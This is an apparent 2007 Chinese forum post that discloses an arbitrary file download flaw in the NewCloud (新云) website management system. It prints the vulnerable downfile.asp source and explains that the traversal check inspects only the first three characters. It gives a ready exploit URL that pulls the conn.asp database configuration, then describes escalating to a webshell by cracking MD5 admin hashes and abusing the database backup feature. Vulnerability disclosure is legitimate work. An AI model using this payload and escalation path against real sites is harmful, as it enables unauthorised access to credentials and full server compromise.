找回密码
 注册
查看: 972|回复: 0

新云网站管理系统任意文件可下载漏洞

[复制链接]
发表于 2007-7-15 22:22:52 | 显示全部楼层 |阅读模式
最近用新云网站系统帮老师改个网站,于是代码也看了好久,碰巧也发现了个漏洞,发出来看看·~~~~<br/>问题出现在flash/downfile.asp上,大家先看看代码<br/>&lt;%<br/>Dim url,strUrl,strPath<br/>url = Replace(Replace(Replace(Request(&quot;url&quot;), &quot;&#039;&quot;, &quot;&quot;), &quot;%&quot;, &quot;&quot;), &quot;&#92;&quot;, &quot;/&quot;)<br/>//首先先进行一些字符的替换,&#039;换成空,%也换成空,&#92;换成/<br/><br/>If Len(url) &gt; 3 Then<br/> If Left(url,1) = &quot;/&quot; Then<br/> Response.Redirect url //如果用户提交的url第一个字符是/,那直接转向url<br/> End If<br/> If Left(url,3) = &quot;../&quot; Then<br/> Response.Redirect url //同上,意思就是不给你用../跳转目录<br/> End If<br/> strUrl = Left(url,10)<br/> If InStr(strUrl, &quot;://&quot;) &gt; 0 Then //这个,汗·~~://不懂干什么用的<br/> Response.Redirect url<br/> End If<br/> If InStr(url, &quot;/&quot;) &gt; 0 Then<br/> strPath = Server.MapPath(&quot;.&quot;) &amp; &quot;&#92;&quot; &amp; url //补充物理地址了<br/> strPath = Replace(strPath, &quot;/&quot;, &quot;&#92;&quot;) //替换/为&#92;呢<br/> Call downThisFile(strPath) //HOHO~~开始下载了<br/> Else<br/> Response.Redirect url<br/> End If<br/>End If<br/><br/>Sub downThisFile(thePath)<br/> Response.Clear<br/> On Error Resume Next<br/> Dim stream, fileName, fileContentType<br/> <br/> fileName = split(thePath,&quot;&#92;&quot;)(UBound(split(thePath,&quot;&#92;&quot;)))<br/> Set stream = Server.CreateObject(&quot;adodb.stream&quot;)<br/> stream.Open<br/> stream.Type = 1<br/> stream.LoadFromFile(thePath)<br/> Response.AddHeader &quot;Content-Disposition&quot;, &quot;attachment; filename=&quot; &amp; fileName<br/> Response.AddHeader &quot;Content-Length&quot;, stream.Size<br/> Response.Charset = &quot;UTF-8&quot;<br/> Response.ContentType = &quot;application/octet-stream&quot;<br/> Response.BinaryWrite stream.Read <br/> Response.Flush<br/> stream.Close<br/> Set stream = Nothing<br/>End Sub<br/>%&gt;<br/><br/>似乎是url都处理掉了,是不可能用../跳转目录的。但是,他判断../很奇怪,就判断url的前三个字符而已。所以,嘿嘿!前三个字符不能是../,难道我后面不能是吗?于是构造一下url参数为&quot;uploadfile/../../conn.asp&quot;,于是总体的地址就是http://127.0.0.1/flash/downfile.asp?url=uploadfile/../../conn.asp。嘿嘿~~conn.asp文件下载下来了吧。<br/>这套整站程序用的人还是挺多的,我甚至看到有两个黑客类的网站使用它。但是不约而同的是这个漏洞都存在。可以说,这个漏洞是通杀现在网上所有使用新云的系统的,连10.18出来的sp1都没补上。但是,很多大站都是使用sql版本的,而且主机又屏蔽了1433端口,于是,利用就成了问题。对于access的系统,只要后台没改名,而且md5密码可以通过www.cmd5.com来查询,后台又有着数据库备份的功能,获得webshell是不成问题的。
您需要登录后才可以回帖 登录 | 注册

本版积分规则

Archiver|手机版|小黑屋|光学薄膜论坛

GMT, 2025-12-20 , Processed in 0.023075 second(s), 22 queries .

Powered by Discuz! X3.5 Licensed

© 2001-2025 Discuz! Team.

快速回复 返回顶部 返回列表